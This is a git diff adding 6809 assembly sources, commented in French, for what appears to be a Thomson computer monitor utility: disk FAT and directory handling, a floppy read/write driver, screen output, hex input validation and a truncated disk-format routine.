+        LDA   #6      bad FAT structure
+        JMP   ERROR
+ANAFAT LDB    ,X+
+       CMPB   #$FF
+       BNE    *+6
+       LEAY   -1,Y    nombre de blocs --
+       BEQ    PLAFOK
+       CMPB   #$FE
+       BHS    EANFAT
+       CMPB   #$A0
+       BLO    EANFAT
+       SUBB   #$C1
+       CMPB   #8
+       BLO    EANFAT
+        LDA   #6      bad FAT structure
+        JMP   ERROR   [0-9F][C1-C8]FE,FF
+EANFAT CMPX   #FAT+161
+       BLO    ANAFAT
+        LDA   #7      disk full
+        JMP   ERROR
+PLAFOK LDX    #CATALG
+       STX    <DKBUF
+       CLR    <DIRSEC
+       LDA    #3
+RDIRNX STA    <DKSEC
+       LDX    <DKBUF
+       LEAU   256,X
+       STU    SRPLDF+4
+       JSR    DISK    charge directory
+SRPLDR PSHS   X,A        le fichier
+       LDU    #FILNAM  à sauver existe
+       LDA    #11          déjà ?
+       LDB    ,X+
+       CMPB   ,U+
+       BNE    *+5
+       DECA
+       BNE    *-7
+       PULS   A,X
+       BNE    *+7     non:analyse suiv..
+       JSR    KILFAT  oui: le détruit et
+       BRA    PLADF1   arrête l'analyse
+       LDB    ,X
+       BNE    SRPLD1
+       LDB    <DIRSEC entrée libre:1ère?
+       BNE    SRPLDF
+       STA    <DIRSEC
+       STX    <DIRPTR
+       LDU    #IOZONE
+       STU    <DKBUF
+       BRA    SRPLDF
+SRPLD1 CMPB   #$FF    fin du catalogue
+       BEQ    PLADFD
+SRPLDF LEAX   32,X
+       CMPX   #CATALG+256 !! est modifié
+       BLO    SRPLDR
+       INCA
+       CMPA   #17
+       BLO    RDIRNX
+       LDB    <DIRSEC
+       BNE    PLADF1
+        LDA   #8      directory full
+        JMP   ERROR
+PLADFD LDB    <DIRSEC
+       BEQ    PLADF1
+       LDA    <DIRSEC
+       LDX    <DIRPTR
+PLADF1 STA    <DIRSEC
+       CMPX   #IOZONE
+       BLO    PLADF2
+       LEAX   -256,X
+       CLRA
+       LDU    #CATALG
+       LDY    #IOZONE
+       LDB    ,Y+
+       STB    ,U+
+       DECA
+       BNE    *-5
+PLADF2 STX    <DIRPTR
+
+       LDD    #1
+       STD    <DKTRK
+       LDA    #2      opération WRITE
+       STA    <DKOPC
+       LDD    <EXEADR
+       STD    IODESC+3
+       LDD    #$FF00
+       STD    IODESC
+       STB    IODESC+2
+       LDA    #1        1er secteur
+       STA    <FATPTR se positionne sur
+       JSR    SPOSFT  le 1er bloc libre
+       LDB    <FATPTR
+       SUBB   #2      Numéro du 1er bloc
+       STB    13,X    logique du fichier
+       LDX    #IOZONE
+       STX    <DKBUF
+
+       LDY    <FILSIZ
+       LDU    <BEGADR
+       LDB    <FILETY
+       CMPB   #2
+       BNE    NOSHNK
+       CLR    ,X+
+       STY    ,X++    longueur à écrire
+       STU    ,X++
+       LDB    <IMABNK si c'est une image
+       BMI    *+6     MAP, le début est
+       CLR    -1,X    en fait $000 dans
+       CLR    -2,X    le fichier !!!
+NOSHNK CLR    IOZONE+255
+       LDB    #8      secteurs par bloc
+       STB    <CMPT
+
+       BSR    CPNSAV  sauve le programme
+       LDB    <FILETY
+       CMPB   #2
+       BNE    NOEHNK
+       CMPX   #IOZONE+255
+       BNE    *+4     si fin buffer I/O,
+       BSR    SVNXTS  avance d'1 secteur
+       LDU    #IODESC
+       LDY    #5
+       BSR    CPNSAV  sauve terminateur
+NOEHNK CMPX   #IOZONE+255
+       BEQ    *+5      si pas déja fait,
+       JSR    DISK     sauve buffer I/O
+       LEAY   -IOZONE,X    nombre octets
+       LDX    #FAT        utilisés dans
+       LDB    <FATPTR le dernier secteur
+       ABX
+       LDB    <DKSEC  nombre de secteurs
+       CMPB   #9       utilisés dans le
+       BLO    *+4        dernier bloc
+       SUBB   #8
+       ADDB   #$C0
+       STB    -1,X
+       BRA    BLKTRV+2
+IODESC FCB    $FF,0,0,00,00
+
+CPNSAV LDB    ,U+     remplit buffer I/O
+       STB    ,X+
+       CMPX   #IOZONE+255
+       BLO    *+4
+       BSR    SAVSEC
+       LEAY   -1,Y
+       BNE    CPNSAV
+       RTS
+SAVSEC JSR    DISK    écrit un secteur
+       CMPY   #1
+       BEQ    SNXTSF+3
+SVNXTS INCA             passe au secteur
+       CMPA   #17           suivant
+       BLO    *+6
+       INC    <DKTRK
+       LDA    #1
+       STA    <DKSEC
+       DEC    <CMPT   8 secteurs / bloc
+       BNE    SNXTSF
+       LDB    #8
+       STB    <CMPT
+       LDX    #FAT
+       LDB    <FATPTR Prec=Courant
+       ABX
+       BSR    SPOSFT  nouveau Courant
+       LDB    <FATPTR
+       SUBB   #2
+       STB    -1,X    Prec->Suiv=Courant
+SNXTSF LDX    #IOZONE
+       RTS
+SPOSFT PSHS   X
+       LDX    #FAT
+       LDB    <FATPTR
+       ABX
+SRBKFT LDB    ,X+     se positionne sur
+       INC    <FATPTR  le bloc libre
+       CMPB   #$FF        suivant
+       BEQ    BLKTRV
+       ADDA   #8
+       CMPA   #17
+       BLO    *+6
+       INC    <DKTRK
+       LDA    #1
+       STA    <DKSEC
+       BRA    SRBKFT
+BLKTRV PULS   X,PC
+
+       LDX    <DIRPTR  suite & fin de la
+       LDU    #FILNAM     sauvegarde
+       LDA    #11
+       LDB    ,U+       copie du nom
+       STB    ,X+      et du suffixe
+       DECA
+       BNE    *-5
+       LDD    <FILETY Type du fichier:
+       STA    ,X+      langage machine
+       STB    ,X++    Sémaphore: binaire
+       STY    ,X++    Nb octets dans le
+       LDA    #8       dernier secteur
+       LDB    ,U+
+       STB    ,X+     copie commentaire
+       DECA
+       BNE    *-5
+       LDD    #8
+       STA    ,X+     18 à 1F : réservé
+       DECB
+       BNE    *-3
+
+       LDD    #$1402
+       STD    <DKTRK
+       LDX    #FAT
+       STX    <DKBUF
+       JSR    DISK
+       LDB    <DIRSEC
+       STB    <DKSEC
+       LDX    #CATALG
+       STX    <DKBUF
+       JMP    DISK
+
+KILFAT PSHS   X,A
+       CLR    ,X
+       LDB    13,X    1er bloc ds la FAT
+       LDX    #FAT+1
+       ABX
+       LDA    #$FF
+       LDB    ,X
+       STA    ,X
+       CMPB   #$A0
+       BLO    KILFAT+6  détruit chaînage
+       SUBB   #$C1
+       CMPB   #7
+       BHI    *+4
+       PULS   A,X,PC
+        LDA   #9      Bad File Structure
+
+ERROR  LDB    #24
+       MUL
+       LDU    #ERRTXT-24
+       LEAU   D,U
+       LDA    <IMABNK
+       BMI    STDERR
+       PSHS   U,A
+       LDA    $E7C3
+       ANDA   #254
+       STA    $E7C3
+       JSR    VW2BNK
+       LDX    #NULL
+       JSR    SETPAL
+       CLR    >$E7DC
+       JSR    FABSCR
+       PULS   A,U
+       STA    $E7E5
+STDERR LDX    #$4000+192*40
+       CLR    ,X+
+       CMPX   #$5F40
+       BNE    *-5
+       LDX    #SCREEN+8+24*320
+       STX    <CURSOR
+       LDD    #$1808
+       STB    <XPOS
+       LDX    #SCREEN+25*320
+       STX    <BOTTOM
+       CLR    <CLIGNO
+       LDB    ,U+
+       JSR    PUTC     affiche l'erreur
+       DECA
+       BNE    *-6
+       JSR    GETC
+       TSTB
+       BEQ    *-4      attente clavier
+       LDX    ,S
+       CMPX   #ERRET1   dépile tout et
+       BEQ    *+6       retour au menu
+       LEAS   1,S       (fin d'option)
+       BRA    *-9
+       CLRA
+       JMP    HWINDW
+
+ERRTXT FCC    "        No Disk         "
+       FCC    "       Bad Sector       "
+       FCC    "     Timing Failure     "
+       FCC    "    Unreadable Datas    "
+       FCC    "  Disk Write Protected  "
+       FCC    "   Bad FAT Structure    "
+       FCC    "       Disk Full        "
+       FCC    "     Directory Full     "
+       FCC    "   Bad File Structure   "
+       FCC    "     File Not Found     "
+       FCC    "     Bad File Type      "
+       FCC    " Uncompressible Picture "
+       FCC    "  No Gadget Installed   "
+
+FILNAM FCC    "FILENAMEBINcomments"
+DISK   PSHS   U,Y,X,B,A initialisations
+       LDX    #$E7D0
+       LDA    #$41
+       TST    <DKDRV  sélection du drive
+       BEQ    *+4
+       LDA    #1
+       STA    2,X
+       STA    <DKTMP
+       LDU    #DKOPER
+       LDB    <DKOPC
+       JSR    [B,U]
+       PSHS   CC
+       CLR    ,X
+SORTIE LDB    #$40     sortie
+       STB    2,X
+       PULS   CC
+       LBNE   ERROR
+       PULS   A,B,X,Y,U,PC
+DKOPER FDB    READ,WRITE
+
+       RTS
+READ   JSR    POSPIS
+       BNE    READ-1  bad positionnement
+       JSR    COMPEN
+       LDB    #$1B
+       JSR    POSSEC
+       LDA    #4
+       LDY    #$7500
+RDTRY1 LEAY   -1,Y
+       BNE    *+5
+        LDA   #2        identificateur
+        RTS               incorrect
+       LDB    ,X
+       BITB   #2
+       BEQ    RDTRY1
+       LDB    3,X
+RDTRY2 DECA
+       BNE    *+5
+        LDA   #3
+        RTS           problème de timing
+       LDB    ,X
+       BPL    *-2
+       LDB    3,X
+       CMPB   #$FB
+       BNE    RDTRY2
+       LDY    #256
+LIT    LDB    ,X      lecteur prêt ?
+       BPL    *-2
+       LDB    3,X
+       STB    ,U+
+       LEAY   -1,Y
+       BNE    LIT
+       LDB    ,X
+       BITB   #8      opération finie ?
+       BEQ    *-4
+       BITB   #4
+       BEQ    *+4
+        LDA   #4      checksum incorrect
+       RTS
+
+WRITE  JSR    POSPIS
+       BNE    WRITE-1 pas positionné
+       LDA    1,X
+       BITA   #4
+       BEQ    *+5
+        LDA   #5      disquette protégée
+        RTS
+       JSR    COMPEN
+       LDB    #$19
+       BSR    POSSEC
+       LDY    #$7500
+WRTRY1 LEAY   -1,Y
+       BNE    *+5
+        LDA   #2        identificateur
+        RTS               incorrect
+       LDB    ,X
+       BITB   #2
+       BEQ    WRTRY1
+       STA    3,X
+       LDB    ,X
+       BPL    *-2
+       STA    3,X
+       LDB    ,X
+       BPL    *-2
+       LDB    #$FB
+       STB    3,X
+       LDY    #256
+ECRIT  LDB    ,X      lecteur prêt ?
+       BPL    *-2
+       LDB    ,U+
+       STB    3,X
+       LEAY   -1,Y
+       BNE    ECRIT
+       LDB    ,X
+       BITB   #8      opération finie ?
+       BEQ    *-4
+       JMP    WAIT2-6
+
+COMPEN LDB    <DKTRK  si pistes internes
+       CMPB   #$39     pré-compensation
+       BPL    *+7
+       LDD    #$9F00+256/8
+       BRA    *+5
+INTERN LDD    #$1F02+256/8
+       STA    7,X
+       STB    1,X
+       RTS
+
+POSSEC LDA    <DKSEC
+       STA    5,X
+       LDA    #10
+       STA    4,X
+       LDA    #$A1
+       STA    3,X
+       LDU    <DKBUF
+       STB    ,X
+       RTS
+
+POSPIS BSR    TSTDRV
+       BNE    *+5     Lecteur non prêt
+       BSR    MOVE
+       CLRA
+       RTS
+TSTDRV LDY    #$8000    lance le drive
+       LDB    <DKTMP    (s'il existe!)
+       ORB    #4
+       STB    2,X     active moteur
+       ANDB   #$FB
+       STB    2,X     inactive moteur
+       LEAY   -1,Y
+       BNE    *+5
+        LDA   #1      la disquette
+        RTS           ne répond pas
+       LDB    1,X
+       ANDB   #2
+       BEQ    TSTDRV+4
+       CLRA           le drive est prêt
+       RTS
+MOVE   JSR    WAIT3
+       LDB    <TRACK  la piste où est la
+       LDA    <DKTMP   tête présentement
+       SUBB   <DKTRK
+       BEQ    PISOK
+       BPL    *+5
+       ORA    #$20
+       NEGB
+       STA    2,X
+MVTETE ORA    #$14    commande de pas ON
+       STA    2,X
+       ANDA   #$EB               pas OFF
+       STA    2,X
+       BSR    WAIT3
+       DECB
+       BNE    MVTETE
+       BSR    WAIT2
+PISOK  LDB    <DKTRK  la tête est sur la
+       STB    6,X       bonne piste
+       STB    <TRACK
+       RTS
+
+       LDY    #$6C
+       BRA    WAIT3+4
+WAIT2  LDY    #$750
+       BRA    WAIT3+4
+WAIT3  LDY    #$2EC
+       LEAY   -1,Y
+       BNE    *-2
+       RTS
diff --git a/code/3rdparty/sources2-hcl/FNCTBASE.ASM b/code/3rdparty/sources2-hcl/FNCTBASE.ASM
new file mode 100644
index 0000000..99ab3ef
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/FNCTBASE.ASM
@@ -0,0 +1,541 @@
+FNCKIZ CMPB   #$90
+       BLO    EOFKIZ+1
+       CMPB   #$99
+       BHI    EOFKIZ+1
+       LDU    #F1F5BF
+       ASLB
+       ASLB
+       ASLB
+       ASLB
+       CMPB   #$50
+       BLO    FKMTOY
+       SUBB   #$50
+       LEAU   B,U
+       TFR    Y,D
+       BSR    ATOHEX
+       TFR    B,A
+       BSR    ATOHEX
+       CLR    ,U
+EOFKIZ CLRB
+       LDA    #1
+       RTS
+FKMTOY LEAU   B,U
+       LDA    ,U
+       BEQ    EOFKIZ
+       CLRA
+CHKFKI LDB    ,U+
+       BEQ    FMK2Y2
+       JSR    CHKHEX
+       BEQ    EOFKIZ
+       INCA
+       CMPA   #5      5ème digit <> 0 ?
+       BEQ    EOFKIZ
+       BRA    CHKFKI
+FMK2Y2 LDX    #FMKRET "empile" PC,X et B
+       PSHS   X,DP,B,A
+       LEAU   -1,U
+       JMP    VALHEX
+FMKRET LEAY   ,U
+       CLRB
+       RTS
+
+BB2DEC CLRA
+       ASLB
+       BCC    *+3
+       INCA
+DTODEC PSHS   X,D
+       LDD    #0
+       LDX    ,S
+       CMPX   #100
+       BLO    *+8
+       LEAX   -100,X
+       INCB
+       BRA    *-9
+       TSTB
+       BNE    *+6
+       LDB    #32
+       BRA    *+5
+       ADDB   #'0
+       DECA
+       STB    ,U+
+       CLRB
+       CMPX   #10
+       BLO    *+7
+       LEAX   -10,X
+       INCB
+       BRA    *-8
+       TSTB
+       BNE    *+9
+       TSTA
+       BNE    *+6
+       LDB    #32
+       BRA    *+4
+       ADDB   #'0
+       STB    ,U+
+       TFR    X,D
+       ADDB   #'0
+       STB    ,U+
+       PULS   D,X,PC
+
+ATOHEX PSHS   X,A       convertit A
+       LDX    #HEXA   en hexa et met le
+       LSRA             résultat dans
+       LSRA           la ligne courante.
+       LSRA            (pointée par U)
+       LSRA
+       LDA    A,X
+       STA    ,U+
+       PULS   A
+       ANDA   #15
+       LDA    A,X
+       STA    ,U+
+       PULS   X,PC
+HEXA   FCC    "0123456789ABCDEF"
+
+DA2HEX PSHS   X,B,A     convertit A
+       LDX    #HEXA   en hexa et affiche
+       LSRA             le résultat à
+       LSRA               l'écran
+       LSRA
+       LSRA
+       LDB    A,X
+       BSR    PUTC
+       LDA    ,S
+       ANDA   #15
+       LDB    A,X
+       BSR    PUTC
+       PULS   A,B,X,PC
+
+PUTC   PSHS   U,X,D
+       CMPB   #32      CHR$ affichable ?
+       BGE    *+4
+       LDB    #'.
+       LDX    <CURSOR position courante
+       CMPX   <BOTTOM est trop en bas ?
+       BLO    FSCROL
+       PSHS   X,Y,B   monte écran d'1 lg
+       STS    POPS+2
+       LDS    #$4000+320     source
+       LDU    #$4006       destination
+SCROLL PULS   X,Y,D   segment 1
+       PSHU   D,Y,X
+       LEAU   12,U
+       PULS   X,Y,D   segment 2
+       PSHU   D,Y,X
+       LEAU   12,U
+       PULS   X,Y,D   segment 3
+       PSHU   D,Y,X
+       LEAU   12,U
+       PULS   X,Y,D   segment 4
+       PSHU   D,Y,X
+       LEAU   12,U
+       PULS   X,Y,D   segment 5
+       PSHU   D,Y,X
+       LEAU   12,U
+       PULS   X,Y,D   segment 6
+       PSHU   D,Y,X
+       LEAU   10,U
+       PULS   X,Y     segment +
+       PSHU   Y,X
+       LEAU   10,U
+       CMPU   #$4006+184*40 bas fenêtre?
+       BLO    SCROLL
+POPS   LDS    #0      récupère la pile
+       PULS   B,Y,X
+       LEAX   -320,X
+FSCROL LDU    #FONTS  cherche le dessin
+       LDA    #8       du caractère B
+       SUBB   #32
+       MUL
+       LEAU   D,U
+       PULU   D       lignes 6 et 7
+       STA    160,X
+       STB    120,X
+       PULU   D       lignes 4 et 5
+       STA    80,X
+       STB    40,X
+       PULU   D       lignes 2 et 3
+       STA    ,X+
+       STB    -41,X
+       PULU   D       lignes 0 et 1
+       STA    -81,X
+       STB    -121,X
+       LDA    <XPOS   nouvelle abscisse
+       INCA
+       CMPA   #40
+       BLO    *+7
+       CLRA           et position écran
+       LEAX   280,X     le curseur
+       STA    <XPOS
+       STX    <CURSOR nouvelle position
+       LDA    <CLIGNO
+       BEQ    EOPUTC
+       STA    160,X
+       STA    120,X
+       STA    80,X
+       STA    40,X
+       STA    ,X
+       STA    -40,X
+       STA    -80,X
+       STA    -120,X
+EOPUTC PULS   D,X,U,PC    à l'écran
+
+
+IPIHEX LDX    #CHKHEX
+       STX    <INPCHK
+       LDX    #VALHEX
+       STX    <INPVAL
+       TSTA
+       RTS
+
+DIPUT4 LEAU   ,Y
+DIPUT3 LDB    ,U+
+       JSR    PUTC
+       CMPB   #':
+       BNE    DIPUT3
+       LDB    ,U+
+       JSR    PUTC
+       LEAY   A,U
+       BRA    INPUT
+DIPUT2 LEAU   ,Y
+DINPUT LDB    ,U+
+       JSR    PUTC
+       CMPB   #'$
+       BNE    DINPUT
+       LEAY   A,U
+INPUT  PSHS   X,B
+       STA    <NBDGIT sauve nbre digits
+       LDX    <CURSOR
+       CLRA
+IPKEYB JSR    GETC
+       CMPB   #30     flèche Recommence
+       BEQ    *+6
+       CMPB   #8       flèche Backspace
+       BNE    IP1
+IPDEL  TSTA           déjà au début !
+       BEQ    IPKEYB
+       PSHS   A,B
+       LDX    <CURSOR
+       LEAX   -1,X     recule d'un car
+       DEC    <XPOS
+       LDD    #$FF00  et affiche curseur
+       STD    160,X
+       STD    120,X
+       STD    80,X
+       STD    40,X
+       STD    ,X
+       STD    -40,X
+       STD    -80,X
+       STD    -120,X
+       PULS   B,A
+       DECA
+       CLR    ,-U
+       STX    <CURSOR
+       CMPB   #30
+       BNE    IPKEYB
+       BRA    IPDEL
+IP1    CMPB   #2      touche Stop
+       BNE    IP2
+       CMPA   <NBDGIT
+       BHS    *+4
+       CLR    ,U      saisie interrompue
+       CLRA
+       PULS   X,B,PC
+IP2    CMPB   #13     touche Entrée
+       BNE    IP3
+       TSTA           rien du tout entré
+       BEQ    IPKEYB    non valide !
+       CMPA   <NBDGIT
+       BEQ    *+4
+       CLR    ,U
+       STA    <NBDGRL
+       JMP    [DIR*256+INPVAL]
+IP3    CMPB   #11      touche historique
+       BNE    IP4
+       TSTA
+       BNE    IPKEYB
+IPROPO LDB    ,U      affiche la valeur
+       BEQ    IPKEYB     par défaut
+       JSR    PUTC    (i.e: l'ancienne)
+       LEAU   1,U
+       INCA
+       CMPA   <NBDGIT
+       BNE    IPROPO
+       BRA    IPKEYB
+IP4    CMPB   #$90    touches fonctions
+       BLO    IP5
+       CMPB   #$99
+       BHI    IP5
+       LDX    #F1F5BF
+       ASLB
+       ASLB
+       ASLB
+       ASLB
+       CMPB   #$40
+       BHI    MEMOFK
+       TSTA
+       LBNE   IPKEYB
+       ABX
+AFFFKM LDB    ,X+     restitue mémoire
+       JSR    [DIR*256+INPCHK]
+       LBEQ   IPKEYB
+       STB    ,U
+       JSR    PUTC
+       LEAU   1,U
+       INCA
+       CMPA   <NBDGIT
+       BNE    AFFFKM
+       JMP    IPKEYB
+MEMOFK SUBB   #$50
+       ABX
+       LEAX   A,X
+       CMPA   #16
+       BEQ    *+4
+       CLR    ,X
+       TSTA
+       BEQ    IP5-3
+       PSHS   U,A
+MEMFKM LDB    ,-U
+       STB    ,-X
+       DECA
+       BNE    MEMFKM
+       PULS   A,U
+       JMP    IPKEYB
+IP5    JSR    [DIR*256+INPCHK]
+       LBEQ   IPKEYB  non affichable
+       CMPA   <NBDGIT au bout à droite ?
+       BLO    IPECHO    pas encore...
+       LEAU   -1,U
+       LDX    <CURSOR
+       LEAX   -1,X
+       STX    <CURSOR
+       DEC    <XPOS    précompensation
+       DECA
+IPECHO STB    ,U+
+       JSR    PUTC
+       INCA
+       JMP    IPKEYB
+
+CHKSOP TSTA
+       BNE    *+8
+       CMPB   #'"
+       BNE    CHKHEX
+       TSTB
+       RTS
+       PSHS   D
+       TFR    A,B
+       NEGB
+       SEX
+       LDA    D,U
+       CMPA   #'"
+       PULS   D
+       BEQ    CHKASC
+
+CHKHEX CMPB   #$60    lettre minuscule ?
+       BLO    *+4
+       ANDB   #$DF
+       CMPB   #'0     valeur hexa ?
+       BLO    NCHKHX
+       CMPB   #'F
+       BHI    NCHKHX
+       CMPB   #':
+       BLO    *+7
+       CMPB   #'@
+       BHI    *+3
+NCHKHX CLRB           NO: non hexa
+       TSTB           YES: affichable
+       RTS
+
+CHKASC CMPB   #32     caractère ASCII ?
+       BLO    *+6
+       CMPB   #128
+       BLO    *+3
+       CLRB
+       TSTB
+       RTS
+
+CHKMOD CMPB   #'0     mode d'affichage ?
+       BLO    *+6
+       CMPB   #'5
+       BLO    *+3
+       CLRB
+       TSTB
+       RTS
+
+CHKBOL CMPB   #'0     chiffre booléen ?
+       BLO    *+6
+       CMPB   #'2
+       BLO    *+3
+       CLRB
+       TSTB
+       RTS
+
+CHKFIL CMPB   #32      lettre pouvant
+       BLO    NCHKFI  figurer dans le
+       CMPB   #127    nom d'un fichier
+       BHI    NCHKFI
+       CMPB   #':
+       BEQ    NCHKFI
+       CMPB   #'.
+       BEQ    NCHKFI
+       CMPB   #'(
+       BEQ    NCHKFI
+       CMPB   #')
+       BEQ    NCHKFI
+       CMPB   #'"
+       BNE    *+3
+NCHKFI CLRB
+       RTS
+
+CHKFTY ANDB   #$DF    minus -> majuscule
+       CMPB   #'B     BASIC
+       BEQ    FTYPOK
+       CMPB   #'D     DATAS
+       BEQ    FTYPOK
+       CMPB   #'M     MACHINE
+       BEQ    FTYPOK
+       CMPB   #'A     ASSEMBLY
+       BEQ    FTYPOK
+       CLRB
+FTYPOK TSTB
+       RTS
+
+CHKDTY ANDB   #$DF    minus -> majuscule
+       CMPB   #'A     ASCII
+       BEQ    DTYPOK
+       CMPB   #'B     BINARY
+       BEQ    DTYPOK
+       CLRB
+DTYPOK TSTB
+       RTS
+
+VALFTY LDX    #FTYPSL
+       LDA    #$FF
+       LDB    ,-U
+       INCA
+       CMPB   ,X+
+       BNE    *-3
+       STA    ,S
+       LDA    #-1
+       PULS   B,X,PC
+FTYPSL FCC    "BDMA"
+
+
+VALDTY LDB    ,-U     la valeur est à
+       SUBB   #'B     lire dans B !!!
+       STB    ,S      $FF=ASCII;0=Binary
+       LDA    #-1     code retour = OK
+       PULS   B,X,PC
+
+
+VALREG PSHS   A,X,U,Y
+       CMPA   #1      une seule lettre ?
+       BHI    *+6
+       LDB    #32     1ère lettre=espace
+       BRA    *+4
+       LDB    ,-U     registre sur 2 CHR
+       LDA    ,-U
+       CMPB   #32     1 lettre+1 espace?
+       BNE    *+4
+       EXG    A,B
+       TFR    D,X
+       LDU    #LRGEQU
+       LDY    #DIR*256+REGIST-2 où modif
+RGEFND CMPX   ,U++    cherche registre
+       BNE    *+8        sollicité
+       LEAS   7,S     "dépile" A,X,U,Y
+       LDA    #-1     code retour=OK
+       PULS   B,X,PC
+       LDB    ,U+     code de longueur
+       SEX
+       LEAY   D,Y
+       CMPU   #REGTXT
+       BLO    RGEFND
+       PULS   A,X,U,Y
+       JMP    IPKEYB
+
+VALZAP PSHS   U,A
+       LDX    #ZAPRET "empile" PC,X et B
+       PSHS   X,DP,B,A
+       JMP    VALHEX
+ZAPRET CMPU   #$5FEC
+       BLO    BADZAP
+       CMPU   #$DFFF
+       BHI    BADZAP
+       LEAS   3,S     "dépile" A,U
+       PULS   B,X,PC
+BADZAP PULS   A,U
+       JMP    IPKEYB
+
+VALBNK CMPA   #1
+       BEQ    VALHEX
+       LDB    -2,U    si No Bank >= $20
+       CMPB   #'2     c'est inacceptable
+       BLO    VALHEX
+       JMP    IPKEYB
+
+VALSOP PSHS   D
+       TFR    A,B
+       NEGB
+       SEX
+       LDA    D,U
+       CMPA   #'"
+       PULS   D
+       BNE    VALHXP
+       DECA
+       LBEQ   IPKEYB
+       DEC    <NBDGRL
+       CLR    ,S      B=0 -> VALchaîne "
+
+VALASC LDB    ,-U     U doit pointer le
+       DECA           début de chaîne
+       BNE    *-3
+       LDA    <NBDGRL code retour=OK
+       PULS   B,X,PC
+
+VALHXP BITA   #1      nb digits pair ?
+       LBNE   IPKEYB  non: inacceptable!
+
+VALHEX LDX    #HWINDW
+       CLR    -2,X    conver ASCII->hexa
+       LDB    ,-U     de droite à gauche
+       SUBB   #'0
+       CMPB   #10
+       BLO    *+4
+       SUBB   #7
+       STB    ,-X     poids faible
+       DECA
+       BEQ    EOINPT
+       LDB    ,-U     de droite à gauche
+       SUBB   #'0
+       CMPB   #10
+       BLO    *+4
+       SUBB   #7
+       ASLB
+       ASLB
+       ASLB
+       ASLB
+       ADDB   ,X
+       STB    ,X      poids fort
+       DECA
+       BNE    VALHEX+5
+EOINPT LDA    <NBDGIT
+       CMPA   #4      saisie longue ?
+       BHI    *+7
+       LDU    HWINDW-2   non:U=valeur
+       BRA    *+4
+       LEAU   ,X        oui:U=&(valeur)
+       LDA    <NBDGRL   (CC): Z = 0
+       PULS   X,B,PC  code retour: A>0
+        *             buffer calcul val.
+       FDB    0,0,0,0,0,0,0,0
+HWINDW CLR    <CLIGNO ne pas séparer !!!
+       LDB    #32
+       JSR    PUTC
+       LDX    <WRKCSR  active la fenêtre
+       STX    <CURSOR     supérieure
+       LDX    #SCREEN+24*320
+       STX    <BOTTOM
+       CLR    <XPOS
+       TSTA
+       RTS
diff --git a/code/3rdparty/sources2-hcl/FORMAT.ASM b/code/3rdparty/sources2-hcl/FORMAT.ASM
new file mode 100644
index 0000000..5407c9d
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/FORMAT.ASM
@@ -0,0 +1,226 @@
+FTRACK EQU    01      première piste
+LTRACK EQU    04      dernière piste
+SECTOR EQU    10      secteurs par piste
+SIZE   EQU    2       256oct par secteur
+LACE   EQU    1       entrelacement
+
+       ORG    $9800
+FORMAT PSHS   CC,A,B,DP,X,Y,U
+       ORCC   #$50
+       JSR    >$E09D  init  DP, X et <4E
+       JSR    >$E0A7  allume la LED
+       LDA    #FTRACK
+       STA    <$4B
+       JSR    >$E45A  lance le moteur
+       BCS    RETURN
+       JSR    >$E134  positionne piste 0
+       BCS    RETURN
+       JSR    >$E521  attente
+       BCS    RETURN
+        JSR   >$E452  avance jusqu'à la
+        BCS   RETURN   piste de départ
+
+       BSR    SECLST  liste secteurs
+NXTTRK BSR    IDENTF
+       LDX    #$E7D0
+       JSR    >$E45A
+       BSR    ONETRK  formate une piste
+       LDA    <$4B
+       INCA
+       STA    <$4B
+       CMPA   #LTRACK+1
+       BEQ    RETURN
+       JSR    >$E47A
+       BRA    NXTTRK
+RETURN JMP    >$E08A
+
+SECLST LDX    #BUFFER     construit la
+       LDB    #SECTOR liste des secteurs
+       CLR    ,X+      sur chaque piste
+       DECB           d'après la valeur
+       BNE    *-3     de l'entrelacement
+
+       LDX    #BUFFER
+       LDA    #1      secteur courant
+       LDB    #LACE
+INSSEC STA    ,X      insère le secteur
+       LEAX   B,X       dans la liste
+       INCA
+       CMPA   #SECTOR casé tous secteurs
+       BHI    LISTOK  => fin du parcours
+NXTNOD CMPX   #BUFFER+SECTOR
+       BLO    NOMODU
+       LEAX   -SECTOR,X    modulo SECTOR
+NOMODU TST    ,X      place libre dans
+       BEQ    INSSEC  la liste => case !
+       LEAX   1,X
+       BRA    NXTNOD  ...cherche place
+LISTOK RTS
+
+
+IDENTF LDX    #BUFFER prépare les champs
+       LDU    #BUFFER+SECTOR
+IDNSEC LDB    ,X+      d'identification
+       BEQ    IDEND
+       LDA    <$4B
+       STA    ,U      numéro de piste
+       LDA    <$49
+       ANDA   #1
+       STA    1,U     numéro de face
+       STB    2,U     numéro de secteur
+       LDY    #4
+       LDA    #SIZE
+       STA    3,U     longueur secteur
+       LDD    #$B230
+       JSR    >$E364
+       STD    ,U++    contrôle CRC
+       BRA    IDNSEC
+IDEND  RTS
+
+
+******** Champ d'identification ********
+
+ONETRK LDA    #SECTOR
+       PSHS   A
+       LDU    #BUFFER+SECTOR
+       JSR    >$E341
+INDEX  LDB    1,X
+       BITB   #$40    détection d'index
+       BEQ    INDEX
+       LDB    3,X     lecture en RDATA
+       LDB    ,X
+       BPL    *-4
+       LDB    ,X
+       BPL    *-2
+       LDD    #$48FF   configuration =
+       STD    3,X     mots de données 48
+       LDB    #4
+       STB    ,X      autorisation Write
+
+       LDA    #22
+H22X48 LDB    ,X
+       BPL    *-2
+       LDB    #$48    écrit 22 fois $48
+       STB    3,X
+       DECA
+       BNE    H22X48    (@ ESPACES)
+
+ONESEC
+       LDA    #12
+I12X00 LDB    ,X
+       BPL    *-2
+       CLR    3,X     écrit 12 fois $00
+       DECA
+       BNE    I12X00   (@ SYNCRO BITS)
+
+       LDB    ,X
+       BPL    *-2
+       LDD    #$A10A  configuration =
+       STD    3,X     mots de syncro A1
+       LDB    ,X
+       BPL    *-2
+       STA    3,X     écrit 3 fois $A1
+       LDB    ,X
+       BPL    *-2
+       STA    3,X     (@ SYNCRO CARACTR)
+
+       LDB    ,X
+       BPL    *-2
+       LDD    #$FEFF  configuration =
+       STD    3,X     mots de données FE
+       LDA    #6
+WIDENT LDB    ,X       écrit $FE et les
+       BPL    *-2     6 octets du champs
+       LDB    ,U+      identification
+       STB    3,X     (numéro piste,face
+       DECA            secteur,longueur,
+       BNE    WIDENT   contrôle CRC)
+
+       LDA    #22
+C22X43 LDB    ,X
+       BPL    *-2
+       LDB    #$43    écrit 22 fois $43
+       STB    3,X
+       DECA
+       BNE    C22X43     (@ ESPACES)
+
+
+*********** Champ de données ***********
+
+       LDA    #12
+D12X00 LDB    ,X
+       BPL    *-2
+       CLR    3,X     écrit 12 fois $00
+       DECA
+       BNE    D12X00   (@ SYNCRO BITS)
+
